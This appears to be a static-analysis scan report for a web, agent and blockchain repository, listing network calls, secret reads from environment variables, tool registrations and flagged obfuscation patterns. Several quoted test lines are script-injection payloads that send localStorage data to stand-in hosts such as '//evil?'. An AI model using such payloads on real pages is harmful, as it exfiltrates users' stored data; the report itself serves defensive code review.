...['fetch(', 'setFrameSrc('].map((s) => (eff.indexOf(s) < 0 ? Infinity : eff.indexOf(s))), - net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/dm-length-parity.test.ts :156
const send = route.indexOf('fetch(`${WORKER}/message`') - net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/dm-send.test.ts :156
const fetchAt = src.indexOf('fetch(`${WORKER}/message`', idx) - net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/faucet-no-answer.test.ts :9
* - web — `faucetClaim()` is `fetch(…).then(r => r.json())`, so the rejection is - net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/learnings-delete-scope.test.ts :233
const fetchAt = s.indexOf('fetch(`${WORKER}/learnings`', planned) - net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/open-url.test.ts :45
'data:text/html,<script>fetch("//x/"+localStorage.length)</script>', - net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/qr-svg.test.ts :48
'<svg><script>fetch("//x/"+localStorage.length)</script></svg>', - net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/session-archive.test.ts :139
uiComponents: [{ id: 'u1', componentCode: 'fetch("//evil?"+localStorage.tiny_model_config)' }], - net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/unlearn-scope.test.ts :135
const fetchAt = s.indexOf('fetch(`${WORKER}/learnings`', planned) - net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/user-tools.test.ts :118
await expect(runUserTool('(args) => fetch("http://example.com")', {})) - net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/x402-durability.test.ts :559
it('a thrown fetch (network error) is caught and reconciled, never propagated', async () => { - net cagataycali-tiny-technology-6c93dc1/web/tools/http.ts :110
let response = await fetch(targetUrl.toString(), { - net cagataycali-tiny-technology-6c93dc1/worker/src/deposits.ts :610
const res = await fetch(rpcUrl(env, network), { - net cagataycali-tiny-technology-6c93dc1/worker/src/devices.ts :500
res = await fetch(`${checked.url}${spec.path}`, { - net cagataycali-tiny-technology-6c93dc1/worker/src/index.ts :237
async fetch(request: Request, env: any, ctx: any) { - net cagataycali-tiny-technology-6c93dc1/worker/src/messages.ts :121
fetch(`https://api.telegram.org/bot${token}/${method}`, { - net cagataycali-tiny-technology-6c93dc1/worker/src/oauth.ts :113
const res = await fetch(endpoint, { - net cagataycali-tiny-technology-6c93dc1/worker/src/push.ts :246
const res = await fetch(row.endpoint, { - net cagataycali-tiny-technology-6c93dc1/worker/src/scheduler.ts :200
const res = await fetch('https://tiny.technology/api/job-run', { - net cagataycali-tiny-technology-6c93dc1/worker/src/telegram-api.ts :108
const res = await fetch(`https://api.telegram.org/bot${bot.token}/${m}`, { - net cagataycali-tiny-technology-6c93dc1/worker/src/telegram.ts :37
fetch(`https://api.telegram.org/bot${token}/${method}`, { - net cagataycali-tiny-technology-6c93dc1/worker/src/tool-updates.ts :52
latest = String(await fetch( - net cagataycali-tiny-technology-6c93dc1/worker/src/voice.ts :32
// https, NOT wss: Workers' outbound-WebSocket idiom is fetch(https://…) with an
secrets 107
- secrets cagataycali-tiny-technology-6c93dc1/chain/facilitator/server.mjs :34
const RELAYER_KEY = process.env.FACILITATOR_RELAYER_KEY - secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/attendance-e2e.mjs :44
const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY - secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/contract-mode-e2e.mjs :49
let JOINER_KEY = process.env.TINY_JOINER_KEY - secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/deploy-attendance.mjs :37
const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY - secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/deploy-issuance.mjs :33
const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY - secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/deploy-serve-rewards.mjs :28
const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY - secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/deploy-slashing.mjs :31
const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY - secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/deploy-validators-slashable.mjs :38
const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY - secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/deploy-validators.mjs :50
const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY - secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/issuance-e2e.mjs :40
const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY - secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/joiner-e2e.mjs :49
const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY - secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/restore-liveness-margin.mjs :56
const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY - secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/serve-rewards-e2e.mjs :47
const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY - secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/slashable-registry-e2e.mjs :72
const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY - secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/slashing-e2e.mjs :40
const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY - secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/x402-8470-e2e.mjs :66
const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY - secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/deploy.mjs :13
export const DEPLOYER_KEY = process.env.TINY_CHAIN_DEPLOYER_KEY - secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/facilitator-e2e.mjs :169
const relayerAddr = privateKeyToAccount(process.env.FACILITATOR_RELAYER_KEY - secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/faucet-e2e.mjs :45
const DEPLOYER_KEY = process.env.TINY_CHAIN_DEPLOYER_KEY - secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/pay-e2e.mjs :18
if (!url || !process.env.X402_PAYER_KEY) { - secrets cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/device-tools.ts :349
if (process.env.TELEGRAM_BOT_TOKEN) { tools.push(makeTelegramTool(process.env.TELEGRAM_BOT_TOKEN)); labels.push('telegram') } - secrets cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/google.ts :214
const shared = process.env.GOOGLE_OAUTH_CREDENTIALS - secrets cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/model.ts :79
const apiKey = process.env.TINY_MODEL_API_KEY - secrets cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/spotify.ts :90
const secret = process.env.SPOTIFY_CLIENT_SECRET - secrets cagataycali-tiny-technology-6c93dc1/tiny-tech/src/api.ts :249
if (process.env.TINY_MODEL_API_KEY) h['x-tiny-model-api-key'] = process.env.TINY_MODEL_API_KEY - secrets cagataycali-tiny-technology-6c93dc1/tiny-tech/src/auth.ts :41
if (process.env.TINY_TOKEN) { - secrets cagataycali-tiny-technology-6c93dc1/tiny-tech/src/integrations.ts :163
state: process.env.TELEGRAM_BOT_TOKEN ? 'ready' : 'missing', - secrets (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/auth.test.mjs :18
delete process.env.TINY_TOKEN - secrets (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/daemon.test.mjs :61
process.env.OPENAI_API_KEY = 'sk-supersecretvalue123' - secrets (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/integrations-store.test.mjs :118
assert.equal(process.env.TELEGRAM_BOT_TOKEN, 'stored') - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/account-voice/route.ts :23
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/archives/route.ts :19
const ikey = () => ({ "X-Internal-Key": process.env.INTERNAL_API_KEY || "" }); - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/auth/cli/route.ts :41
const secret = process.env.AUTH_JWT_SECRET - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/auth/cli/token/route.ts :24
const secret = process.env.AUTH_JWT_SECRET - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/auth/route.ts :21
const clientSecret = process.env.GITHUB_CLIENT_SECRET - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/auth/webauthn/login/route.ts :31
const secret = () => new TextEncoder().encode(process.env.AUTH_JWT_SECRET || '') - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/auth/webauthn/register/route.ts :24
const secret = () => new TextEncoder().encode(process.env.AUTH_JWT_SECRET || '') - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/chat/route.ts :75
{ headers: { 'X-Internal-Key': process.env.INTERNAL_API_KEY || '' }, signal: AbortSignal.timeout(8_000) } - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/chat/tool-result/route.ts :38
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/control/route.ts :66
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/delete/route.ts :31
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/devices/adopt/route.ts :47
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/devices/endpoint/route.ts :69
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/devices/event/route.ts :36
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/devices/heartbeat/route.ts :37
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/devices/relay/route.ts :25
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/devices/route.ts :24
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/devices/task-result/route.ts :37
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/devices/transcript/route.ts :40
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/events/route.ts :38
{ headers: { "X-Internal-Key": process.env.INTERNAL_API_KEY || "" }, signal: AbortSignal.timeout(10_000) } - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/follow/route.ts :17
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/graph/route.ts :19
const ikey = () => ({ 'X-Internal-Key': process.env.INTERNAL_API_KEY || '' }) - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/job-run/route.ts :26
const internalHeaders = () => ({ 'X-Internal-Key': process.env.INTERNAL_API_KEY || '' }) - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/jobs/route.ts :34
headers: { 'X-Internal-Key': process.env.INTERNAL_API_KEY || '' }, - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/learnings/route.ts :63
headers: { 'X-Internal-Key': process.env.INTERNAL_API_KEY || '' }, - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/location/route.ts :27
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/login/route.ts :38
headers: { 'X-Internal-Key': process.env.INTERNAL_API_KEY || '' }, - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/media/route.ts :45
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/messages/route.ts :18
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/model-config/route.ts :25
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/prefs/route.ts :22
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/push/route.ts :42
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/run-tool/route.ts :18
if (!process.env.INTERNAL_API_KEY || key !== process.env.INTERNAL_API_KEY) { - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/share/route.ts :87
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/telegram/route.ts :16
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/tiny/route.ts :59
headers: isOwner ? { 'X-Internal-Key': process.env.INTERNAL_API_KEY || '' } : {}, - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/tools/install/route.ts :47
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/tools/route.ts :23
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/tools/run/route.ts :32
if (process.env.NODE_ENV !== 'development' && process.env.KV_REST_API_URL && process.env.KV_REST_API_TOKEN) { - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/tools/trust/route.ts :36
{ headers: { "X-Internal-Key": process.env.INTERNAL_API_KEY || "" }, ...T() } - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/udid/route.ts :92
const machineOk = !!process.env.ENROLL_SECRET && machineKey === process.env.ENROLL_SECRET - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/visit/route.ts :46
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/voice/replay/[id]/route.ts :28
{ headers: { 'X-Internal-Key': process.env.INTERNAL_API_KEY || '' }, signal: AbortSignal.timeout(8_000) } - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/voice/session/route.ts :42
{ headers: { 'X-Internal-Key': process.env.INTERNAL_API_KEY || '' }, signal: AbortSignal.timeout(8_000) } - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/voice/sessions/route.ts :20
{ headers: { 'X-Internal-Key': process.env.INTERNAL_API_KEY || '' }, signal: AbortSignal.timeout(8_000) } - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/wallet/faucet/route.ts :69
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/wallet/route.ts :58
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/wallet/withdraw/route.ts :114
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/x402/chat/[slug]/route.ts :56
const ikey = () => ({ 'Content-Type': 'application/json', 'X-Internal-Key': process.env.INTERNAL_API_KEY || '' }) - secrets cagataycali-tiny-technology-6c93dc1/web/app/api/x402/pay/route.ts :95
const quoteSecret = () => process.env.X402_QUOTE_SECRET || process.env.PAYOUT_PRIVATE_KEY || '' - secrets cagataycali-tiny-technology-6c93dc1/web/lib/auth.ts :24
const secret = process.env.AUTH_JWT_SECRET - secrets cagataycali-tiny-technology-6c93dc1/web/lib/chat/model.ts :91
apiKey: sel.apiKey || process.env.GEMINI_API_KEY || process.env.GOOGLE_API_KEY, - secrets cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/flipper.ts :48
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/memory.ts :22
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/messages.ts :39
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/nicla-voice.ts :52
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/nicla.ts :30
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/platform.ts :21
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/universe.ts :67
'X-Internal-Key': process.env.INTERNAL_API_KEY || '', - secrets cagataycali-tiny-technology-6c93dc1/web/lib/rate-limit.ts :98
!process.env.KV_REST_API_TOKEN - secrets cagataycali-tiny-technology-6c93dc1/web/lib/reputation.ts :25
headers: { 'X-Internal-Key': process.env.INTERNAL_API_KEY || '' }, - secrets cagataycali-tiny-technology-6c93dc1/web/lib/utils.ts :2
const key = process.env.WEATHER_API_KEY; - secrets (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/gen-onboarding-voice.mjs :134
const KEY = process.env.ELEVENLABS_API_KEY - secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/auth.test.ts :6
beforeAll(() => { process.env.AUTH_JWT_SECRET = 'test-secret-do-not-use-in-prod' }) - secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/cli-token.test.ts :4
beforeAll(() => { process.env.AUTH_JWT_SECRET = 'test-secret-cli' }) - secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/devices-camera-panel.test.ts :50
process.env.INTERNAL_API_KEY = KEY - secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/devices-route.test.ts :4
beforeAll(() => { process.env.AUTH_JWT_SECRET = 'test-secret' }) - secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/job-run.test.ts :4
beforeAll(() => { process.env.INTERNAL_API_KEY = 'test-internal-key' }) - secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/media-route.test.ts :4
beforeAll(() => { process.env.AUTH_JWT_SECRET = 'test-secret' }) - secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/oauth-csrf.test.ts :7
process.env.GITHUB_CLIENT_SECRET = 'test-secret' - secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/platform-tools.test.ts :4
beforeAll(() => { process.env.INTERNAL_API_KEY = 'test-internal-key' }) - secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/relay-route.test.ts :4
beforeAll(() => { process.env.AUTH_JWT_SECRET = 'test-secret' }) - secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/udid-route.test.ts :26
delete process.env.ENROLL_SECRET - secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/user-tools.test.ts :33
['(a) => process.env.SECRET', 'process'], - secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/utils.test.ts :146
const realKey = process.env.WEATHER_API_KEY - secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/webauthn-login.test.ts :4
beforeAll(() => { process.env.AUTH_JWT_SECRET = 'test-secret-webauthn' }) - secrets (weak) cagataycali-tiny-technology-6c93dc1/web/tests/write-routes.test.ts :4
beforeAll(() => { process.env.AUTH_JWT_SECRET = 'test-secret' })
tool registrations 31
- tiny_whoami cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :63
- tiny_login cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :69
- tiny_learn cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :91
- tiny_recall cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :112
- tiny_unlearn cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :124
- tiny_memories cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :133
- tiny_graph cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :143
- tiny_resolve_conflict cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :159
- tiny_chat cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :173
- tiny_search cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :195
- tiny_get cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :211
- tiny_create cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :225
- tiny_update cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :241
- tiny_delete cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :288
- tiny_create_tool cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :299
- tiny_remove_tool cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :321
- tiny_marketplace cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :330
- tiny_reload_tools cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :393
- tiny_schedule cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :405
- tiny_share cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :431
- tiny_events cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :454
- tiny_wallet cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :472
- tiny_pay_quote cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :512
- tiny_pay_confirm cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :528
- tiny_send_message cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :542
- tiny_messages cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :554
- tiny_follow cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :569
- tiny_delete_message cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :583
- tiny_devices cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :594
- tiny_model_config cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :611
- tiny_archives cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :640
install hooks 1
- prepublishOnly cagataycali-tiny-technology-6c93dc1/tiny-tech/package.json :21
npm run test
declared dependencies 1
- viem@^2.21.0
clipboard 4
- clipboard shell call cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/desktop.ts :84
if (env.WAYLAND_DISPLAY && hasBin(read ? 'wl-paste' : 'wl-copy')) { - clipboard shell call cagataycali-tiny-technology-6c93dc1/tiny-tech/test/desktop.test.mjs :37
test('macOS clipboard is pbcopy/pbpaste', () => { - clipboard shell call cagataycali-tiny-technology-6c93dc1/tiny-tech/test/see.test.mjs :659
const withSips = desktopSenses('linux', {}, only('xclip'), (p) => p === '/usr/bin/sips') - clipboard shell call cagataycali-tiny-technology-6c93dc1/tiny-tech/test/speech.test.mjs :476
const linux = desktopSenseBlock(desktopSenses('linux', {}, (b) => b === 'xclip', yesPaths))
obfuscation 4
- dynamic require()/import() cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/local-tools.ts :343
mod = await import(`${pathToFileURL(full).href}?v=${stamp}`) - dynamic require()/import() cagataycali-tiny-technology-6c93dc1/tiny-tech/test/tasks.test.mjs :322
const { TaskRunner } = await import(${JSON.stringify(new URL('../dist/agent/tasks.js', import.meta.url).href)}) - dynamic require()/import() cagataycali-tiny-technology-6c93dc1/tiny-tech/test/tray.test.mjs :282
const { startTrayServer } = await import(${JSON.stringify(new URL('../dist/tray.js', import.meta.url).href)}) - base64 decode → exec sink cagataycali-tiny-technology-6c93dc1/web/components/chat/bang.ts :49
const expr = decodeURIComponent(atob("${encoded}"));
perm:untrusted 11
- untrusted (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/x402-8470-e2e.mjs :209
const health = await fetch(`${FAC}/healthz`).then((r) => r.json()) - untrusted (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/backup-e2e.mjs :40
const up = () => fetch(RPC, { method: 'POST', headers: { 'content-type': 'application/json' }, body: '{"jsonrpc":"2.0","id":1,"method":"eth_chainId","params":[]}' }).then((r) => r.ok) - untrusted (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/facilitator-e2e.mjs :124
const post = (path, b = body) => fetch(`${FAC}${path}`, { method: 'POST', headers: { 'content-type': 'application/json' }, body: b }).then((r) => r.json()) - untrusted (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/proxy-e2e.mjs :71
const get = await fetch(PROXY).then((r) => r.json()) - untrusted cagataycali-tiny-technology-6c93dc1/web/app/api/erc8004/registration/[slug]/route.ts :89
fetch(`${WORKER}/get?name=${encodeURIComponent(slug)}`, { signal: AbortSignal.timeout(10_000) }).then(r => r.ok ? r.json() : null).catch(() => null), - untrusted cagataycali-tiny-technology-6c93dc1/web/app/api/x402/chat/[slug]/route.ts :341
fetch(`${WORKER}/get?name=${encodeURIComponent(slug)}`, { signal: AbortSignal.timeout(10_000) }).then(r => r.ok ? r.json() : null).catch(() => null), - untrusted cagataycali-tiny-technology-6c93dc1/web/lib/x402/top-up.ts :181
* - web — `faucetClaim()` is `fetch().then(r => r.json())`, so the rejection is - untrusted cagataycali-tiny-technology-6c93dc1/web/public/sw.js :48
caches.match(req).then((hit) => hit || fetch(req).then((res) => { - untrusted (weak) cagataycali-tiny-technology-6c93dc1/web/tests/deadlines.test.ts :772
* ``fetch(…).then(r => r.json())`` — with comments included, the census read - untrusted (weak) cagataycali-tiny-technology-6c93dc1/web/tests/faucet-no-answer.test.ts :9
* - web — `faucetClaim()` is `fetch(…).then(r => r.json())`, so the rejection is - untrusted (weak) cagataycali-tiny-technology-6c93dc1/web/tests/user-tools.test.ts :135
const out = await runUserTool('(args) => fetch("https://example.com/big").then(r => r.text())', {})